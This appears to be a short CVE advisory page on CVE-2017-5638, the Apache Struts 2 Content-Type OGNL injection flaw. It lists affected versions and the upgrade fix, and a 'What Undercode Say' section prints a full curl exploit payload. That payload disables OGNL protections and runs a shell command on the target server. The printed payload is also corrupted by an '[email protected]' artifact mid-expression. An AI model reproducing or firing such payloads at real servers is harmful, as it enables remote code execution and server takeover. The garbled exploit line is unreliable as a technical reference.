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How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists in the Jakarta Multipart parser of Apache Struts 2. The flaw is triggered when a malicious Content-Type header is sent with a file upload request. The parser incorrectly evaluates the `Content-Type` value, allowing an attacker to inject Object-Graph Navigation Language (OGNL) expressions. These expressions are then executed by the Struts framework. This occurs because the error-handling mechanism during file upload passes the unvalidated, attacker-controlled Content-Type string directly into an OGNL execution function. Since OGNL is a powerful expression language, this allows for arbitrary code execution with the same privileges as the Struts application server. An attacker can exploit this by crafting a simple HTTP request with a malicious Content-Type header, without needing to upload an actual file, to achieve full system compromise.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/upload.action`
How Exploit:
Craft HTTP request with malicious OGNL in Content-Type header.
Protection from this CVE:
Upgrade to Struts 2.3.32 or 2.5.10.1.
Impact:
Full server compromise, arbitrary command execution.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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